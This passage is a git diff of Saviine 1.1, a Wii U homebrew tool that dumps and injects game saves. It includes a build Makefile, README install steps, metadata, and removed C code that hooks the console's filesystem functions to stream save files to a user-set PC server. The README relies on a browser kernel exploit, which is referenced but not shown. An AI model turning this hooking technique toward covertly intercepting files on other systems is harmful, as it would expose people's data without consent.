You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
|
217
Makefile
Normal file
217
Makefile
Normal file
@ -0,0 +1,217 @@
|
||||
#---------------------------------------------------------------------------------
|
||||
# Clear the implicit built in rules
|
||||
#---------------------------------------------------------------------------------
|
||||
.SUFFIXES:
|
||||
#---------------------------------------------------------------------------------
|
||||
ifeq ($(strip $(DEVKITPPC)),)
|
||||
$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=<path to>devkitPPC")
|
||||
endif
|
||||
ifeq ($(strip $(DEVKITPRO)),)
|
||||
$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=<path to>devkitPRO")
|
||||
endif
|
||||
export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH)
|
||||
export LIBOGC_INC := $(DEVKITPRO)/libogc/include
|
||||
export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii
|
||||
export PORTLIBS := $(DEVKITPRO)/portlibs/ppc
|
||||
|
||||
PREFIX := powerpc-eabi-
|
||||
|
||||
export AS := $(PREFIX)as
|
||||
export CC := $(PREFIX)gcc
|
||||
export CXX := $(PREFIX)g++
|
||||
export AR := $(PREFIX)ar
|
||||
export OBJCOPY := $(PREFIX)objcopy
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# TARGET is the name of the output
|
||||
# BUILD is the directory where object files & intermediate files will be placed
|
||||
# SOURCES is a list of directories containing source code
|
||||
# INCLUDES is a list of directories containing extra header files
|
||||
#---------------------------------------------------------------------------------
|
||||
TARGET := saviine
|
||||
BUILD := build
|
||||
BUILD_DBG := $(TARGET)_dbg
|
||||
SOURCES := src \
|
||||
src/dynamic_libs \
|
||||
src/game \
|
||||
src/kernel \
|
||||
src/patcher \
|
||||
src/system \
|
||||
src/utils
|
||||
DATA :=
|
||||
|
||||
INCLUDES := src
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# options for code generation
|
||||
#---------------------------------------------------------------------------------
|
||||
CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
|
||||
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
|
||||
CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
|
||||
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
|
||||
ASFLAGS := -mregnames
|
||||
LDFLAGS := -nostartfiles -Wl,-Map,$(notdir $@).map,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,--gc-sections
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
Q := @
|
||||
MAKEFLAGS += --no-print-directory
|
||||
#---------------------------------------------------------------------------------
|
||||
# any extra libraries we wish to link with the project
|
||||
#---------------------------------------------------------------------------------
|
||||
LIBS :=
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# list of directories containing libraries, this must be the top level containing
|
||||
# include and lib
|
||||
#---------------------------------------------------------------------------------
|
||||
LIBDIRS := $(CURDIR) \
|
||||
$(DEVKITPPC)/lib \
|
||||
$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2
|
||||
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# no real need to edit anything past this point unless you need to add additional
|
||||
# rules for different file extensions
|
||||
#---------------------------------------------------------------------------------
|
||||
ifneq ($(BUILD),$(notdir $(CURDIR)))
|
||||
#---------------------------------------------------------------------------------
|
||||
export PROJECTDIR := $(CURDIR)
|
||||
export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET)
|
||||
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
|
||||
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
|
||||
export DEPSDIR := $(CURDIR)/$(BUILD)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# automatically build a list of object files for our project
|
||||
#---------------------------------------------------------------------------------
|
||||
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
|
||||
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
|
||||
sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
|
||||
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S)))
|
||||
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
|
||||
TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf)))
|
||||
PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png)))
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# use CXX for linking C++ projects, CC for standard C
|
||||
#---------------------------------------------------------------------------------
|
||||
ifeq ($(strip $(CPPFILES)),)
|
||||
export LD := $(CC)
|
||||
else
|
||||
export LD := $(CXX)
|
||||
endif
|
||||
|
||||
export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \
|
||||
$(sFILES:.s=.o) $(SFILES:.S=.o) \
|
||||
$(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES))
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# build a list of include paths
|
||||
#---------------------------------------------------------------------------------
|
||||
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
|
||||
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
|
||||
-I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \
|
||||
-I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# build a list of library paths
|
||||
#---------------------------------------------------------------------------------
|
||||
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \
|
||||
-L$(LIBOGC_LIB) -L$(PORTLIBS)/lib
|
||||
|
||||
export OUTPUT := $(CURDIR)/$(TARGET)
|
||||
.PHONY: $(BUILD) clean install
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
$(BUILD):
|
||||
@[ -d $@ ] || mkdir -p $@
|
||||
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
clean:
|
||||
@echo clean ...
|
||||
@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
else
|
||||
|
||||
DEPENDS := $(OFILES:.o=.d)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# main targets
|
||||
#---------------------------------------------------------------------------------
|
||||
$(OUTPUT).elf: $(OFILES)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# This rule links in binary data with the .jpg extension
|
||||
#---------------------------------------------------------------------------------
|
||||
%.elf: link.ld $(OFILES)
|
||||
@echo "linking ... $(TARGET).elf"
|
||||
$(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS)
|
||||
$(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@
|
||||
|
||||
../data/loader.bin:
|
||||
$(MAKE) -C ../loader clean
|
||||
$(MAKE) -C ../loader
|
||||
#---------------------------------------------------------------------------------
|
||||
%.a:
|
||||
#---------------------------------------------------------------------------------
|
||||
@echo $(notdir $@)
|
||||
@rm -f $@
|
||||
@$(AR) -rc $@ $^
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.o: %.cpp
|
||||
@echo $(notdir $<)
|
||||
@$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.o: %.c
|
||||
@echo $(notdir $<)
|
||||
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.o: %.S
|
||||
@echo $(notdir $<)
|
||||
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.png.o : %.png
|
||||
@echo $(notdir $<)
|
||||
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.jpg.o : %.jpg
|
||||
@echo $(notdir $<)
|
||||
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.ttf.o : %.ttf
|
||||
@echo $(notdir $<)
|
||||
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.bin.o : %.bin
|
||||
@echo $(notdir $<)
|
||||
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.wav.o : %.wav
|
||||
@echo $(notdir $<)
|
||||
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.mp3.o : %.mp3
|
||||
@echo $(notdir $<)
|
||||
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.ogg.o : %.ogg
|
||||
@echo $(notdir $<)
|
||||
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||
|
||||
-include $(DEPENDS)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
endif
|
||||
#---------------------------------------------------------------------------------
|
21
README
21
README
@ -1,16 +1,13 @@
|
||||
Saviine 1.0 (25.10.2015)
|
||||
Saviine 1.1 (02.04.2016)
|
||||
|
||||
Compatible with 5.3.2 fw
|
||||
|
||||
dumps and injects (experimental) WiiU Saves(Thanks to everyone who worked on cafiine! code is based on cafiine)
|
||||
Dumps and injects (experimental) WiiU Saves.
|
||||
Works with homebrew launcher (https://github.com/dimok789/homebrew_launcher), compatible with FW 5.0.0, 5.1,0, 5.3.2, 5.4.0, 5.5.x (But requires a kernel exploit)
|
||||
|
||||
Compilation :
|
||||
- in order to compile saviine you need to put the saviine folder in your libwiiu project
|
||||
- libwiiu/saviine/installer must be compiled like the other libwiiu examples (with the build.py script)
|
||||
- copy the saviine532.elf from the saviine/installer/bin to the www folder
|
||||
- just compile it with "make" and put the saviine.elf on your sd card
|
||||
|
||||
Pre-made version :
|
||||
- in www/saviine, it is already compiled, just put the folder in your server
|
||||
- you can fine a release package under the "releases" tab
|
||||
|
||||
Note :
|
||||
- make sure you already have a save of the game on you console before trying to dump/inject them
|
||||
@ -19,6 +16,7 @@ Note :
|
||||
- backup your savedata before dumping it!!! I'm not responsible for any lost data.
|
||||
- make sure that your game version and the game version from injecting save are the same
|
||||
- e.g. injecting PAL saves into NTSC one is untested!
|
||||
- this new version only runs with the homebrew_launcher.
|
||||
|
||||
NOTE FOR SUPER SMASH BROS FOR WIIU the common data is too big to inject at one time. The data will may be flushed at some time. automaticly restoring the data after flushing is not possible. MAKE SURE TO MAKE A BACKUP! This may also applies to other gaames
|
||||
|
||||
@ -33,8 +31,11 @@ saviine_root/inject <-- place the saves here if you want to inject them
|
||||
How to use :
|
||||
|
||||
temporary installing saviine:
|
||||
- launch the "normal" kernel exploit in the brower
|
||||
- relaunch browser and launch saviine app, set saviine server ip in the application with up/down/left/right, and press A to install saviine. if you see crap on the screen, press up/down to fix it
|
||||
- put the elf into the app path on your SD Card (e.g. /wiiu/apps/saviine/saviine.elf) and insert the sd card into your WiiU (You can also use the sendelf method)
|
||||
- launch the homebrew launcher to install the kernel exploit
|
||||
- relaunch browser and launch the homebrew launcher again. This time the homebrew launcher will start.
|
||||
- select saviine and start it.
|
||||
- set saviine server ip in the application with up/down/left/right, and press A to install saviine. if you see crap on the screen, press up/down to fix it
|
||||
-> browser should exit
|
||||
|
||||
dumping:
|
||||
|
10
meta/meta.xml
Normal file
10
meta/meta.xml
Normal file
@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<app version="1">
|
||||
<name>Saviine</name>
|
||||
<coder>Maschell</coder>
|
||||
<version>1.1</version>
|
||||
<release_date>20160402200000</release_date>
|
||||
<short_description>Savegame tool</short_description>
|
||||
<long_description>This application dumps and injects savegames of any title that is entered over network to a PC application.
|
||||
</long_description>
|
||||
</app>
|
BIN
saviine.elf
Normal file
BIN
saviine.elf
Normal file
Binary file not shown.
@ -1,69 +0,0 @@
|
||||
|
||||
PATH := $(DEVKITPPC)/bin:$(PATH)
|
||||
|
||||
PREFIX ?= powerpc-eabi-
|
||||
LD := $(PREFIX)ld
|
||||
AS := $(PREFIX)as
|
||||
CC := $(PREFIX)gcc
|
||||
OBJDUMP ?= $(PREFIX)objdump
|
||||
OBJCOPY ?= $(PREFIX)objcopy
|
||||
|
||||
SFLAGS := -mgekko -mregnames
|
||||
|
||||
# -O2: optimise lots
|
||||
# -Wall: generate lots of warnings
|
||||
# -x c: compile as C code
|
||||
# -std=gnu99: use the C99 standard with GNU extensions
|
||||
# -ffreestanding: we don't have libc; don't expect we do
|
||||
# -mrvl: enable wii/gamecube compilation
|
||||
# -mcpu=750: enable processor specific compilation
|
||||
# -meabi: enable eabi specific compilation
|
||||
# -mhard-float: enable hardware floating point instructions
|
||||
# -fshort-wchar: use 16 bit whcar_t type in keeping with Wii executables
|
||||
# -msdata-none: do not use r2 or r13 as small data areas
|
||||
# -memb: enable embedded application specific compilation
|
||||
# -ffunction-sections: split up functions so linker can garbage collect
|
||||
# -fdata-sections: split up data so linker can garbage collect
|
||||
CFLAGS := -O2 -Wall -x c -std=gnu99 \
|
||||
-ffreestanding \
|
||||
-mrvl -mcpu=750 -meabi -mhard-float -fshort-wchar \
|
||||
-msdata=none -memb -ffunction-sections -fdata-sections \
|
||||
-Wno-unknown-pragmas -Wno-strict-aliasing \
|
||||
|
||||
SRC := $(wildcard *.S) $(wildcard *.c)
|
||||
OBJ := $(patsubst %.S,%.o,$(patsubst %.c,%.o,$(SRC)))
|
||||
|
||||
|
||||
# Simulate an order only dependency
|
||||
BUILD_REQ := $(filter-out $(wildcard build),build)
|
||||
BIN_REQ := $(filter-out $(wildcard bin),bin)
|
||||
|
||||
all: build/saviine532.elf copy
|
||||
|
||||
../installer/saviine%.h: build/saviine%.text.bin build/saviine%.magic.bin $(BIN_REQ)
|
||||
xxd -i build/saviine$*.magic.bin | sed "s/unsigned/static const unsigned/g;s/saviine$*/saviine/g" > $@
|
||||
xxd -i build/saviine$*.text.bin | sed "s/unsigned/static const unsigned/g;s/saviine$*/saviine/g" >> $@
|
||||
|
||||
build/saviine%.text.bin: build/saviine%.elf $(BUILD_REQ)
|
||||
$(OBJCOPY) -j .text -O binary $< $@
|
||||
build/saviine%.magic.bin: build/saviine%.elf $(BUILD_REQ)
|
||||
$(OBJCOPY) -j .magic -O binary $< $@
|
||||
|
||||
build/saviine%.elf: saviine%.ld $(OBJ) $(BUILD_REQ)
|
||||
$(LD) -o $@ -T $< $(OBJ) -s -L"$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2" -lgcc
|
||||
|
||||
build/%.o: %.c $(BUILD_REQ)
|
||||
$(CC) -c $(CFLAGS) -o $@ $+
|
||||
build/%.o: %.S $(BUILD_REQ)
|
||||
$(AS) $(SFLAGS) -o $@ $+
|
||||
|
||||
bin:
|
||||
mkdir $@
|
||||
build:
|
||||
mkdir $@
|
||||
|
||||
copy:
|
||||
cp build/saviine532.elf ../installer/bin/
|
||||
|
||||
clean:
|
||||
rm -rf $(wildcard build) $(wildcard bin) $(wildcard ../installer/saviine532.h)
|
@ -1,643 +0,0 @@
|
||||
#include "main.h"
|
||||
|
||||
#define DECL(res, name, ...) \
|
||||
extern res name(__VA_ARGS__); \
|
||||
res (* real_ ## name)(__VA_ARGS__) __attribute__((section(".magicptr"))); \
|
||||
res my_ ## name(__VA_ARGS__)
|
||||
#define DEBUG_LOG 0
|
||||
#define BUFFER_SIZE 0x400 * 101
|
||||
#define BUFFER_SIZE_STEPS 0x200
|
||||
|
||||
DECL(int, FSAInit, void) {
|
||||
if ((int)bss_ptr == 0x0a000000) {
|
||||
bss_ptr = memalign(sizeof(struct bss_t), 0x40);
|
||||
memset(bss_ptr, 0, sizeof(struct bss_t));
|
||||
}
|
||||
return real_FSAInit();
|
||||
}
|
||||
DECL(int, FSAShutdown, void) {
|
||||
return real_FSAShutdown();
|
||||
}
|
||||
DECL(int, FSAAddClient, void *r3) {
|
||||
int res = real_FSAAddClient(r3);
|
||||
|
||||
if ((int)bss_ptr != 0x0a000000 && res < MAX_CLIENT && res >= 0) {
|
||||
cafiine_connect(&bss.socket_fsa[res]);
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
DECL(int, FSADelClient, int client) {
|
||||
|
||||
if ((int)bss_ptr != 0x0a000000 && client < MAX_CLIENT && client >= 0) {
|
||||
cafiine_disconnect(bss.socket_fsa[client]);
|
||||
}
|
||||
|
||||
return real_FSADelClient(client);
|
||||
}
|
||||
|
||||
static int strlen(char* path) {
|
||||
int i = 0;
|
||||
while (path[i++])
|
||||
;
|
||||
return i;
|
||||
}
|
||||
|
||||
static int client_num_alloc(void *pClient) {
|
||||
int i;
|
||||
|
||||
for (i = 0; i < MAX_CLIENT; i++)
|
||||
if (bss.pClient_fs[i] == 0) {
|
||||
bss.pClient_fs[i] = pClient;
|
||||
return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static void client_num_free(int client) {
|
||||
bss.pClient_fs[client] = 0;
|
||||
}
|
||||
|
||||
static int client_num(void *pClient) {
|
||||
int i;
|
||||
|
||||
for (i = 0; i < MAX_CLIENT; i++)
|
||||
if (bss.pClient_fs[i] == pClient)
|
||||
return i;
|
||||
return -1;
|
||||
}
|
||||
|
||||
DECL(int, FSInit, void) {
|
||||
if ((int)bss_ptr == 0x0a000000) {
|
||||
bss_ptr = memalign(sizeof(struct bss_t), 0x40);
|
||||
memset(bss_ptr, 0, sizeof(struct bss_t));
|
||||
|
||||
}
|
||||
return real_FSInit();
|
||||
}
|
||||
DECL(int, FSShutdown, void) {
|
||||
return real_FSShutdown();
|
||||
}
|
||||
DECL(int, FSDelClient, void *pClient) {
|
||||
if ((int)bss_ptr != 0x0a000000) {
|
||||
int client = client_num(pClient);
|
||||
if (client < MAX_CLIENT && client >= 0) {
|
||||
cafiine_disconnect(bss.socket_fs[client]);
|
||||
client_num_free(client);
|
||||
}
|
||||
}
|
||||
return real_FSDelClient(pClient);
|
||||
}
|
||||
DECL(int, FSWriteFile,FSClient *pClient, FSCmdBlock *pCmd, const void *source,int size, int count, int fileHandle, int flag,FSRetFlag error) {
|
||||
return real_FSWriteFile(pClient,pCmd,source,size,count,fileHandle,flag,error);
|
||||
}
|
||||
|
||||
DECL(int, FSFlushQuota,FSClient *pClient,FSCmdBlock *pCmd,const char *path,FSRetFlag error) {
|
||||
return real_FSFlushQuota(pClient,pCmd,path,error);
|
||||
}
|
||||
DECL(void, _Exit,void) {
|
||||
return real__Exit();
|
||||
}
|
||||
|
||||
|
||||
DECL(int, FSAddClientEx, void *r3, void *r4, void *r5) {
|
||||
if(!bss.saveinitfs){ //bypass the check for save_init
|
||||
if(bss.saveFolderChecked != 2){
|
||||
|
||||
if(bss.saveFolderChecked == 1){
|
||||
if(r3 != bss.on_start_hook_client){ // block every other client until the on_start method is done
|
||||
while(bss.saveFolderChecked != 2 || bss.saveFolderChecked != 3){
|
||||
GX2WaitForVsync();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ((int)bss_ptr != 0x0a000000) {
|
||||
int error = 0;
|
||||
if(bss.saveFolderChecked == 0){
|
||||
bss.saveFolderChecked = 1;
|
||||
// Create client and cmd block
|
||||
FSClient* pClient_ = (FSClient*)malloc(sizeof(FSClient));
|
||||
FSCmdBlock* pCmd = (FSCmdBlock*)malloc(sizeof(FSCmdBlock));
|
||||
if (pClient_ && pCmd){
|
||||
// need to save the pointer of our client to find it again where adding our client to the FS
|
||||
bss.on_start_hook_client = pClient_;
|
||||
// Add client to FS.
|
||||
if(FSAddClient(pClient_, FS_RET_ALL_ERROR) >= 0){
|
||||
int client = client_num_alloc(pClient_);
|
||||
if(client < MAX_CLIENT && client >= 0) {
|
||||
cafiine_connect(&bss.socket_fs[client]);
|
||||
bss.logsock = bss.socket_fs[client];
|
||||
}else{
|
||||
error = 3;
|
||||
bss.saveFolderChecked = 3;
|
||||
}
|
||||
// Init command block.
|
||||
FSInitCmdBlock(pCmd);
|
||||
if(DEBUG_LOG) log_string(bss.logsock, "FSInitCmdBlock() done", BYTE_LOG_STR);
|
||||
hook(pClient_, pCmd,FS_RET_ALL_ERROR);
|
||||
// Init command block.
|
||||
if(DEBUG_LOG) log_string(bss.logsock, "hook done", BYTE_LOG_STR);
|
||||
|
||||
|
||||
real_FSDelClient(pClient_);
|
||||
}else{
|
||||
error = 2;
|
||||
bss.saveFolderChecked = 3;
|
||||
}
|
||||
free(pClient_);
|
||||
free(pCmd);
|
||||
if(DEBUG_LOG) log_string(bss.logsock, "freed the client and buffer", BYTE_LOG_STR);
|
||||
if(bss.saveFolderChecked != 3)
|
||||
bss.saveFolderChecked = 2;
|
||||
if(DEBUG_LOG) log_string(bss.logsock, "set status to done;", BYTE_LOG_STR);
|
||||
}else{
|
||||
error = 1;
|
||||
bss.saveFolderChecked = 3;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}else{
|
||||
bss.saveinitfs = 0;
|
||||
}
|
||||
|
||||
int res = real_FSAddClientEx(r3, r4, r5);
|
||||
return res;
|
||||
}
|
||||
|
||||
void hook(void * pClient,void * pCmd, int error){
|
||||
if(DEBUG_LOG) log_string(bss.logsock, "hook", BYTE_LOG_STR);
|
||||
handle_saves(pClient, pCmd,error);
|
||||
}
|
||||
|
||||
void handle_saves(void *pClient, void *pCmd,int error){
|
||||
if(DEBUG_LOG) log_string(bss.logsock, "init", BYTE_LOG_STR);
|
||||
int client = client_num(pClient);
|
||||
unsigned char slotNo;
|
||||
long id = getPesistentID(&slotNo);
|
||||
init_Save(slotNo);
|
||||
int mode;
|
||||
|
||||
if(DEBUG_LOG)log_string(bss.logsock, "getting mode", BYTE_LOG_STR);
|
||||
if(getMode(bss.socket_fsa[client],&mode)){
|
||||
if(id >= 0x80000000 && id <= 0x90000000){
|
||||
char savepath[20];
|
||||
__os_snprintf(savepath, sizeof(savepath), "/vol/save/%08x",id);
|
||||
if(mode == BYTE_MODE_D){
|
||||
log_string(bss.logsock, "dump mode!", BYTE_LOG_STR);
|
||||
dumpSavaData(pClient, pCmd,id,error);
|
||||
}else if(mode == BYTE_MODE_I){
|
||||
log_string(bss.logsock, "inject mode", BYTE_LOG_STR);
|
||||
injectSaveData(pClient,pCmd,id,error);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void dumpSavaData(void *pClient, void *pCmd,long persistentID,int error){
|
||||
int client = client_num(pClient);
|
||||
/*
|
||||
Allocate buffer for injection
|
||||
*/
|
||||
int buf_size = BUFFER_SIZE;
|
||||
char * pBuffer;
|
||||
int failed = 0;
|
||||
do{
|
||||
buf_size -= BUFFER_SIZE_STEPS;
|
||||
if(buf_size < 0){
|
||||
log_string(bss.logsock, "error on buffer allocation", BYTE_LOG_STR);
|
||||
failed = 1;
|
||||
break;
|
||||
}
|
||||
pBuffer = (char *)MEMAllocFromDefaultHeapEx(buf_size, 0x40);
|
||||
if(pBuffer) memset(pBuffer, 0x00, buf_size);
|
||||
}while(!pBuffer);
|
||||
|
||||
if(!failed){
|
||||
int mask = 0;
|
||||
char buffer[60];
|
||||
__os_snprintf(buffer, sizeof(buffer), "allocated %d bytes",buf_size);
|
||||
log_string(bss.logsock, buffer, BYTE_LOG_STR);
|
||||
if(saviine_start_dump(bss.socket_fsa[client], persistentID,&mask)){
|
||||
if((mask & MASK_USER) == MASK_USER){
|
||||
char savepath[20];
|
||||
__os_snprintf(savepath, sizeof(savepath), "/vol/save/%08x",persistentID);
|
||||
log_string(bss.logsock, "dumping user savedata", BYTE_LOG_STR);
|
||||
if(dump_dir(pClient,pCmd,savepath,pBuffer,buf_size,error,50) == -1){
|
||||
log_string(bss.logsock, "error dumping user dir", BYTE_LOG_STR);
|
||||
failed = 1;
|
||||
}
|
||||
}
|
||||
if((mask & MASK_COMMON) == MASK_COMMON && !failed){
|
||||
char * commonDir = "/vol/save/common";
|
||||
log_string(bss.logsock, "dumping common savedata", BYTE_LOG_STR);
|
||||
if(dump_dir(pClient,pCmd,commonDir,pBuffer,buf_size,error,60) == -1){
|
||||
log_string(bss.logsock, "error dumping common dir (maybe the game has no common folder?)", BYTE_LOG_STR);
|
||||
}
|
||||
}
|
||||
|
||||
log_string(bss.logsock, "done!", BYTE_LOG_STR);
|
||||
|
||||
if(!saviine_end_dump(bss.socket_fsa[client])) if(DEBUG_LOG) log_string(bss.logsock, "saviine_end_injection() failed", BYTE_LOG_STR);
|
||||
if(DEBUG_LOG) log_string(bss.logsock, "end of dump", BYTE_LOG_STR);
|
||||
}else{
|
||||
log_string(bss.logsock, "saviine_start_dump() failed", BYTE_LOG_STR);
|
||||
}
|
||||
|
||||
if(DEBUG_LOG) log_string(bss.logsock, "free(pBuffer) coming next", BYTE_LOG_STR);
|
||||
free(pBuffer);
|
||||
if(DEBUG_LOG) log_string(bss.logsock, "free(pBuffer)", BYTE_LOG_STR);
|
||||
}
|
||||
}
|
||||
|
||||
int dump_dir(void *pClient, void *pCmd, char *path, void * pBuffer, int size,int error, int handle){
|
||||
int client = client_num(pClient);
|
||||
int dir_handle = handle;
|
||||
int my_handle = handle +1;
|
||||
int ret = 0;
|
||||
int final_result = 0;
|
||||
if ((ret = FSOpenDir(pClient, pCmd, path, &dir_handle, FS_RET_ALL_ERROR)) == FS_STATUS_OK){
|
||||
char buffer[strlen(path) + 30];
|
||||
__os_snprintf(buffer, sizeof(buffer), "open dir %s",path);
|
||||
log_string(bss.logsock, buffer, BYTE_LOG_STR);
|
||||
FSDirEntry dir_entry;
|
||||
while (FSReadDir(pClient, pCmd, dir_handle, &dir_entry, FS_RET_ALL_ERROR) == FS_STATUS_OK && final_result == 0)
|
||||
{
|
||||
char full_path[strlen(path) + 1 + strlen(dir_entry.name) +1];
|
||||
__os_snprintf(full_path, sizeof(full_path), "%s/%s",path,dir_entry.name);
|
||||
|
||||
if((dir_entry.stat.flag&FS_STAT_FLAG_IS_DIRECTORY) == FS_STAT_FLAG_IS_DIRECTORY){
|
||||
log_string(bss.logsock, "-> dir", BYTE_LOG_STR);
|
||||
|
||||
if(dump_dir(pClient, pCmd,full_path,pBuffer,size,error,my_handle) == -1){
|
||||
log_string(bss.logsock, "error", BYTE_LOG_STR);
|
||||
final_result = -1;
|
||||
}
|
||||
}else{
|
||||
//DUMP
|
||||
ret = FSOpenFile(pClient, pCmd, full_path, "r", &my_handle, error);
|
||||
if (ret >= 0) {
|
||||
__os_snprintf(buffer, sizeof(buffer), "dumping %s",dir_entry.name);
|
||||
log_string(bss.logsock, buffer, BYTE_LOG_STR);
|
||||
|
||||
int ret2;
|
||||
|
||||
int my_ret = cafiine_send_handle(bss.socket_fsa[client], client, full_path, my_handle);
|
||||
if(my_ret != -1){
|
||||
while ((ret2 = FSReadFile(pClient, pCmd, pBuffer, 1, size, my_handle, 0, 0)) > 0)
|
||||
cafiine_send_file(bss.socket_fsa[client], pBuffer, ret2, my_handle);
|
||||
cafiine_fclose(bss.socket_fsa[client], &ret2, my_handle,1);
|
||||
}else{
|
||||
log_string(bss.logsock, "error on opening file on pc" , BYTE_LOG_STR);
|
||||
final_result = -1;
|
||||
}
|
||||
if((ret2 = FSCloseFile(pClient, pCmd, my_handle, error)) < FS_STATUS_OK){
|
||||
__os_snprintf(buffer, sizeof(buffer), "error on FSOpenFile: %d",ret2);
|
||||
log_string(bss.logsock, buffer, BYTE_LOG_STR);
|
||||
}
|
||||
}else{
|
||||
__os_snprintf(buffer, sizeof(buffer), "error on FSOpenFile: %d",ret);
|
||||
log_string(bss.logsock, buffer, BYTE_LOG_STR);
|
||||
final_result = -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
if(FSCloseDir(pClient, pCmd, dir_handle, error) < FS_STATUS_OK){
|
||||
if(DEBUG_LOG) log_string(bss.logsock, "error on FSCloseDir()", BYTE_LOG_STR);
|
||||
}
|
||||
}else{
|
||||
log_string(bss.logsock, "error on FSOpenDir()", BYTE_LOG_STR);
|
||||
final_result = -1;
|
||||
}
|
||||
return final_result;
|
||||
}
|
||||
|
||||
/**************************
|
||||
Injection functions
|
||||
**************************/
|
||||
void injectSaveData(void *pClient, void *pCmd,long persistentID,int error){
|
||||
int client = client_num(pClient);
|
||||
char logbuffer[255];
|
||||
/*
|
||||
Allocate buffer for injection
|
||||
*/
|
||||
